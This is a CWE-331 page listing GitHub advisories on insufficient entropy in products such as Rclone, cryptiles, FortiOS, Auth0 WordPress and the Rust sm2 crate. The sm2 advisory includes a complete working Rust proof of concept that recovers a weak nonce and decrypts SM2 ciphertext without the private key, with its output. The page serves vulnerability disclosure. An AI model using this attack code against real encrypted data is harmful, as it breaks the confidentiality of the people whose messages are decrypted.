CWE-331
AllowedInsufficient Entropy
Abstraction: Base · Status: Draft
The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
207 vulnerabilities reference this CWE, most recent first.
GHSA-RGVP-66GG-99PP
Vulnerability from github – Published: 2022-05-17 05:17 – Updated: 2025-07-09 21:30Post Oak AWAM Bluetooth Reader Traffic System does not use a sufficient source of entropy for private keys, which makes it easier for man-in-the-middle attackers to spoof a device by predicting a key value.
{
"affected": [],
"aliases": [
"CVE-2012-4687"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-08T15:55:00Z",
"severity": "HIGH"
},
"details": "Post Oak AWAM Bluetooth Reader Traffic System does not use a sufficient source of entropy for private keys, which makes it easier for man-in-the-middle attackers to spoof a device by predicting a key value.",
"id": "GHSA-rgvp-66gg-99pp",
"modified": "2025-07-09T21:30:55Z",
"published": "2022-05-17T05:17:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4687"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-12-335-01"
},
{
"type": "WEB",
"url": "http://www.postoaktraffic.com/contact.aspx"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/control_systems/pdf/ICSA-12-335-01.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RMW5-XPG9-JR29
Vulnerability from github – Published: 2021-06-10 17:23 – Updated: 2022-04-27 20:30An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.53.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28924"
],
"database_specific": {
"cwe_ids": [
"CWE-331",
"CWE-338"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-09T14:47:19Z",
"nvd_published_at": "2020-11-19T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.",
"id": "GHSA-rmw5-xpg9-jr29",
"modified": "2022-04-27T20:30:31Z",
"published": "2021-06-10T17:23:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28924"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/issues/4783"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJIFT24Q6EFXLQZ24AER2QGFFZLMIPCD"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Use of Cryptographically Weak Pseudo-Random Number Generator in Rclone"
}
GHSA-RQ8G-5PC5-WRHR
Vulnerability from github – Published: 2018-09-11 18:22 – Updated: 2026-06-08 15:52Versions of cryptiles prior to 4.1.2 are vulnerable to Insufficient Entropy. The randomDigits() method does not provide sufficient entropy and its generates digits that are not evenly distributed.
Recommendation
Upgrade to version 4.1.2. The package is deprecated and has been moved to @hapi/cryptiles and it is strongly recommended to use the maintained package.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "cryptiles"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "cryptiles"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000620"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:55:29Z",
"nvd_published_at": "2018-07-09T20:29:00Z",
"severity": "CRITICAL"
},
"details": "Versions of `cryptiles` prior to 4.1.2 are vulnerable to Insufficient Entropy. The `randomDigits()` method does not provide sufficient entropy and its generates digits that are not evenly distributed.\n\n\n## Recommendation\n\nUpgrade to version 4.1.2. The package is deprecated and has been moved to `@hapi/cryptiles` and it is strongly recommended to use the maintained package.",
"id": "GHSA-rq8g-5pc5-wrhr",
"modified": "2026-06-08T15:52:36Z",
"published": "2018-09-11T18:22:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000620"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/cryptiles/issues/34"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/cryptiles/issues/35"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/cryptiles/commit/6bdcd0f6ee8ade96e7b30350bad39ee0c2ef0f9b"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/cryptiles/commit/9332d4263a32b84e76bf538d7470d01ea63fa047"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/cryptiles/commit/cb6bd642816e0cb8341d2b3896fd9e7c57e94f56"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapijs/cryptiles"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/476.json"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1464"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/720"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Insufficient Entropy in cryptiles"
}
GHSA-RWG7-VWHM-3X8J
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2022-05-24 16:59An Insufficient Entropy in PRNG vulnerability in Fortinet FortiOS 6.2.1 and below for device not enable hardware TRNG token and models not support builtin TRNG seed allows attacker to theoretically recover the long term ECDSA secret in a TLS client with a RSA handshake and mutual ECDSA authentication via the help of flush+reload side channel attacks in FortiGate VM models only.
{
"affected": [],
"aliases": [
"CVE-2019-15703"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-24T14:15:00Z",
"severity": "LOW"
},
"details": "An Insufficient Entropy in PRNG vulnerability in Fortinet FortiOS 6.2.1 and below for device not enable hardware TRNG token and models not support builtin TRNG seed allows attacker to theoretically recover the long term ECDSA secret in a TLS client with a RSA handshake and mutual ECDSA authentication via the help of flush+reload side channel attacks in FortiGate VM models only.",
"id": "GHSA-rwg7-vwhm-3x8j",
"modified": "2022-05-24T16:59:48Z",
"published": "2022-05-24T16:59:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15703"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-19-186"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V47P-Q5XC-J34W
Vulnerability from github – Published: 2026-04-16 18:31 – Updated: 2026-04-16 18:31A privilege escalation vulnerability in Microchip IStaX allows an authenticated low-privileged user to recover a shared per-device cookie secret from their own webstax_auth session cookie and forge a new cookie with administrative privileges.This issue affects IStaX before 2026.03.
{
"affected": [],
"aliases": [
"CVE-2026-2336"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-16T18:16:44Z",
"severity": "HIGH"
},
"details": "A privilege escalation vulnerability in Microchip IStaX allows an authenticated low-privileged user to recover a shared per-device cookie secret from their own webstax_auth session cookie and forge a new cookie with administrative privileges.This issue affects IStaX before 2026.03.",
"id": "GHSA-v47p-q5xc-j34w",
"modified": "2026-04-16T18:31:22Z",
"published": "2026-04-16T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2336"
},
{
"type": "WEB",
"url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/istax-privilege-escalation-via-weak-cookie-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VFPX-Q664-H93M
Vulnerability from github – Published: 2026-04-03 03:43 – Updated: 2026-04-03 03:43Impact
In applications built with the Auth0 PHP SDK, cookies are encrypted with insufficient entropy, which may result in threat actors brute-forcing the encryption key and forging session cookies.
Am I Affected?
Consumers are affected if their application meets the following preconditions: - It is using the Auth0 WordPress Plugin, versions between 5.0.0-BETA0 and 5.5.0 - Auth0 WordPress plugin using the Auth0-PHP SDK versions between 8.0.0 to 8.18.0.
Resolution
Upgrade Auth0/wordpress to version 5.6.0 or greater.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.5.0"
},
"package": {
"ecosystem": "Packagist",
"name": "auth0/wordpress"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-BETA0"
},
{
"fixed": "5.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:43:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nIn applications built with the Auth0 PHP SDK, cookies are encrypted with insufficient entropy, which may result in threat actors brute-forcing the encryption key and forging session cookies.\n\n### Am I Affected?\nConsumers are affected if their application meets the following preconditions:\n- It is using the Auth0 WordPress Plugin, versions between 5.0.0-BETA0 and 5.5.0\n- Auth0 WordPress plugin using the Auth0-PHP SDK versions between 8.0.0 to 8.18.0.\n\n### Resolution\nUpgrade Auth0/wordpress to version 5.6.0 or greater.",
"id": "GHSA-vfpx-q664-h93m",
"modified": "2026-04-03T03:43:13Z",
"published": "2026-04-03T03:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/auth0/wordpress/security/advisories/GHSA-vfpx-q664-h93m"
},
{
"type": "PACKAGE",
"url": "https://github.com/auth0/wordpress"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Auth0 WordPress Plugin has Insufficient Entropy in Cookie Encryption"
}
GHSA-VJVW-WCMW-PR26
Vulnerability from github – Published: 2020-09-04 17:37 – Updated: 2020-08-31 19:00All versions of parsel use an insecure key derivation function. The package runs keys of arbitrary lengths through one round of SHA256 hashing for key stretching. This allows for the use of keys of insufficient entropy with inappropriate key stretching.
Recommendation
The package is deprecated and will not be updated. Consider using an alternative package.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parsel"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T19:00:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "All versions of `parsel` use an insecure key derivation function. The package runs keys of arbitrary lengths through one round of SHA256 hashing for key stretching. This allows for the use of keys of insufficient entropy with inappropriate key stretching.\n\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.",
"id": "GHSA-vjvw-wcmw-pr26",
"modified": "2020-08-31T19:00:10Z",
"published": "2020-09-04T17:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1462"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Insufficient Entropy in parsel"
}
GHSA-VVHF-47GR-69VM
Vulnerability from github – Published: 2025-12-31 09:30 – Updated: 2025-12-31 09:30VPN Firewall developed by QNO Technology has a Insufficient Entropy vulnerability, allowing unauthenticated remote attackers to obtain any logged-in user session through brute-force attacks and subsequently log into the system.
{
"affected": [],
"aliases": [
"CVE-2025-15387"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T09:15:49Z",
"severity": "HIGH"
},
"details": "VPN Firewall developed by QNO Technology has a Insufficient Entropy vulnerability, allowing unauthenticated remote attackers to obtain any logged-in user session through brute-force attacks and subsequently log into the system.",
"id": "GHSA-vvhf-47gr-69vm",
"modified": "2025-12-31T09:30:19Z",
"published": "2025-12-31T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15387"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10614-dee41-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10613-e1780-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W3G8-FP6J-WVQW
Vulnerability from github – Published: 2026-01-09 22:27 – Updated: 2026-01-11 14:56Summary
A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.
Affected Versions
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.
Details
The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.
- The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant
N_BYTES.rust const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes) - However, this
N_BYTESvalue is then passed to thenext_khelper function, which incorrectly interprets this value as a bit length.rust let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap(); - Inside
next_k, thebit_lengthparameter (which holds the value 32) is passed directly toU256::try_random_bits, a function that generates a random number with the specified number of bits.rust fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> { let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?; // ... }As a result, the ephemeral noncekis generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.
PoC
A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:
- Encrypt a Message: It uses the vulnerable
EncryptingKey::encryptfunction to encrypt a sample message. - Extract Ephemeral Public Key: It parses the ciphertext to extract
C1, which is the ephemeral public key[k]G. - Recover Nonce
k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the noncek. This attack is computationally feasible on modern hardware in seconds with time complexityO(2^16). - Decrypt without Secret Key: Once
kis recovered, it computes the shared secret[k]PB(wherePBis the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.
examples/bsgs_recover.rs
//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!
use std::collections::HashMap;
use std::error::Error;
use rand_core::OsRng;
use sm2::{
pke::Mode,
pke::EncryptingKey,
PublicKey,
SecretKey,
AffinePoint,
ProjectivePoint,
Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};
/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
// search parameters
let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space
// baby steps: j*G -> j
let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
for j in 0..m {
let j_u256 = U256::from_u32(j);
let s = Scalar::from_uint(&j_u256).unwrap();
let p = ProjectivePoint::mul_by_generator(&s).to_affine();
let ep = p.to_encoded_point(false);
baby.insert(ep.as_bytes().to_vec(), j);
}
// giant steps
for i in 0..=m {
let im = (i as u64) * (m as u64);
let im_u256 = U256::from_u64(im);
let im_scalar = Scalar::from_uint(&im_u256).unwrap();
let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();
// candidate = C1 - im_point
let c1_proj = ProjectivePoint::from(c1);
let im_proj = ProjectivePoint::from(&im_point);
let candidate_proj = c1_proj + (-im_proj);
let candidate = candidate_proj.to_affine();
let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();
if let Some(&j) = baby.get(&cand_bytes) {
let k_recovered = im + (j as u64);
return Some(U256::from_u64(k_recovered));
}
}
None
}
/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
let mut hasher = Sm3::new();
let klen = c2.len();
let mut ct: u32 = 0x00000001;
let digest_size = 32usize; // SM3 output is 32 bytes
let mut ha = vec![0u8; digest_size];
let encode_point = kpb.to_encoded_point(false);
let mut offset = 0usize;
while offset < klen {
hasher.update(encode_point.x().unwrap());
hasher.update(encode_point.y().unwrap());
hasher.update(&ct.to_be_bytes());
let out = hasher.finalize_reset();
ha.copy_from_slice(out.as_slice());
let xor_len = core::cmp::min(digest_size, klen - offset);
for i in 0..xor_len {
c2[offset + i] ^= ha[i];
}
offset += xor_len;
ct = ct.wrapping_add(1);
}
}
/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
// parse c1
let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
let c1_len = n_bytes * 2 + 1;
if ciphertext.len() < c1_len {
return Err("ciphertext too short".into());
}
let (_c1_bytes, rest) = ciphertext.split_at(c1_len);
// derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
let pb_affine = pubkey.as_affine();
let k_scalar = Scalar::from_uint(&k).unwrap();
let s = *pb_affine; // cofactor h == 1
let hpb = (s * k_scalar).to_affine();
// split rest into c2 and c3 depending on mode
let digest_size = 32usize; // SM3 output size
let (c2_slice, c3_slice) = match mode {
Mode::C1C2C3 => {
let c2_len = rest.len() - digest_size;
rest.split_at(c2_len)
}
Mode::C1C3C2 => {
let (c3, c2) = rest.split_at(digest_size);
(c2, c3)
}
};
let mut c2 = c2_slice.to_owned();
// KDF to recover plaintext
kdf_sm3(hpb, &mut c2);
// verify c3
let mut check = Sm3::new();
let enc = hpb.to_encoded_point(false);
check.update(enc.x().unwrap());
check.update(&c2);
check.update(enc.y().unwrap());
let out = check.finalize_reset();
if out.as_slice() != c3_slice {
return Err("c3 verification failed".into());
}
Ok(c2)
}
/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
// extract C1
let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
let c1_len = n_bytes * 2 + 1;
let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();
if let Some(k) = bsgs_recover_k(&c1_affine) {
println!("recovered k = 0x{:x}", k);
let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
return Ok(plain);
}
Err("failed to recover k".into())
}
fn main() -> Result<(), Box<dyn Error>> {
// demo: generate keypair, encrypt, then recover and decrypt without secret key
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng)?;
let pk = sk.public_key();
let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
let msg = b"attack-demo-sm2-bsgs-recover-example";
let ct = ek.encrypt(&mut rng, msg)?;
print!("Trying to recover k and decrypt...\n");
let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
Ok(())
}
To run the PoC (tested on Apple M3):
$ time cargo run --example bsgs_recover
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover 14.44s user 0.13s system 89% cpu 16.266 total
Impact
This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).
The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.
- Fix 1: Modify the input parameter to the correct 256 bits
rust
let k_uint = next_k(rng, N_BYTES * 8)?;
- Fix 2: We believe that the
next_kfunction should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.
rust
fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
loop {
let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
return Ok(k);
}
}
}
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.
Note
SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "sm2"
},
"ranges": [
{
"events": [
{
"introduced": "0.14.0-pre.0"
},
{
"last_affected": "0.14.0-rc.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22698"
],
"database_specific": {
"cwe_ids": [
"CWE-331"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-09T22:27:50Z",
"nvd_published_at": "2026-01-10T06:15:52Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**.\n\n\n\n### Affected Versions\n\n- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\nThis vulnerability is introduced in commit: [Commit 4781762](https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731) on Sep 6, 2024, which is over a year ago.\n\n\n\n### Details\n\nThe root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`.\n\n1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`.\n ```rust\n const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)\n ```\n2. However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*.\n ```rust\n let k = Scalar::from_uint(\u0026next_k(rng, N_BYTES)?).unwrap();\n ```\n3. Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits.\n ```rust\n fn next_k\u003cR: TryCryptoRng + ?Sized\u003e(rng: \u0026mut R, bit_length: u32) -\u003e Result\u003cU256\u003e {\n let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;\n // ...\n }\n ```\n As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.\n \n \n\n### PoC\n\nA proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps:\n\n1. **Encrypt a Message**: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message.\n2. **Extract Ephemeral Public Key**: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`.\n3. **Recover Nonce `k`**: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`.\n4. **Decrypt without Secret Key**: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient\u0027s public key) and successfully decrypts the ciphertext without access to the recipient\u0027s secret key.\n\n`examples/bsgs_recover.rs`\n\n``` rust\n//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)\n//!\n//! This example intentionally demonstrates an attack on the vulnerable\n//! `EncryptingKey::encrypt` implementation which (in the current repository\n//! state) may generate k with only 32 bits of entropy. The example:\n//! - Generates a key pair and encrypts a short plaintext.\n//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).\n//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).\n//!\n\nuse std::collections::HashMap;\nuse std::error::Error;\n\nuse rand_core::OsRng;\n\nuse sm2::{\n pke::Mode,\n pke::EncryptingKey,\n PublicKey,\n SecretKey,\n AffinePoint,\n ProjectivePoint,\n Scalar,\n};\nuse elliptic_curve::bigint::U256;\nuse elliptic_curve::{Group, Curve};\nuse elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};\nuse sm3::{Sm3, Digest};\n\n/// Baby-step giant-step over the 32-bit search space.\nfn bsgs_recover_k(c1: \u0026AffinePoint) -\u003e Option\u003cU256\u003e {\n // search parameters\n let m: u32 = 1 \u003c\u003c 16; // baby/giant step size -\u003e covers 2^32 space\n\n // baby steps: j*G -\u003e j\n let mut baby: HashMap\u003cVec\u003cu8\u003e, u32\u003e = HashMap::with_capacity(m as usize + 1);\n for j in 0..m {\n let j_u256 = U256::from_u32(j);\n let s = Scalar::from_uint(\u0026j_u256).unwrap();\n let p = ProjectivePoint::mul_by_generator(\u0026s).to_affine();\n let ep = p.to_encoded_point(false);\n baby.insert(ep.as_bytes().to_vec(), j);\n }\n\n // giant steps\n for i in 0..=m {\n let im = (i as u64) * (m as u64);\n let im_u256 = U256::from_u64(im);\n let im_scalar = Scalar::from_uint(\u0026im_u256).unwrap();\n let im_point = ProjectivePoint::mul_by_generator(\u0026im_scalar).to_affine();\n\n // candidate = C1 - im_point\n let c1_proj = ProjectivePoint::from(c1);\n let im_proj = ProjectivePoint::from(\u0026im_point);\n let candidate_proj = c1_proj + (-im_proj);\n let candidate = candidate_proj.to_affine();\n let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();\n\n if let Some(\u0026j) = baby.get(\u0026cand_bytes) {\n let k_recovered = im + (j as u64);\n return Some(U256::from_u64(k_recovered));\n }\n }\n None\n}\n\n/// KDF using SM3 (re-implementation of crate internal `kdf`).\nfn kdf_sm3(kpb: AffinePoint, c2: \u0026mut [u8]) {\n let mut hasher = Sm3::new();\n let klen = c2.len();\n let mut ct: u32 = 0x00000001;\n let digest_size = 32usize; // SM3 output is 32 bytes\n let mut ha = vec![0u8; digest_size];\n let encode_point = kpb.to_encoded_point(false);\n\n let mut offset = 0usize;\n while offset \u003c klen {\n hasher.update(encode_point.x().unwrap());\n hasher.update(encode_point.y().unwrap());\n hasher.update(\u0026ct.to_be_bytes());\n let out = hasher.finalize_reset();\n ha.copy_from_slice(out.as_slice());\n\n let xor_len = core::cmp::min(digest_size, klen - offset);\n for i in 0..xor_len 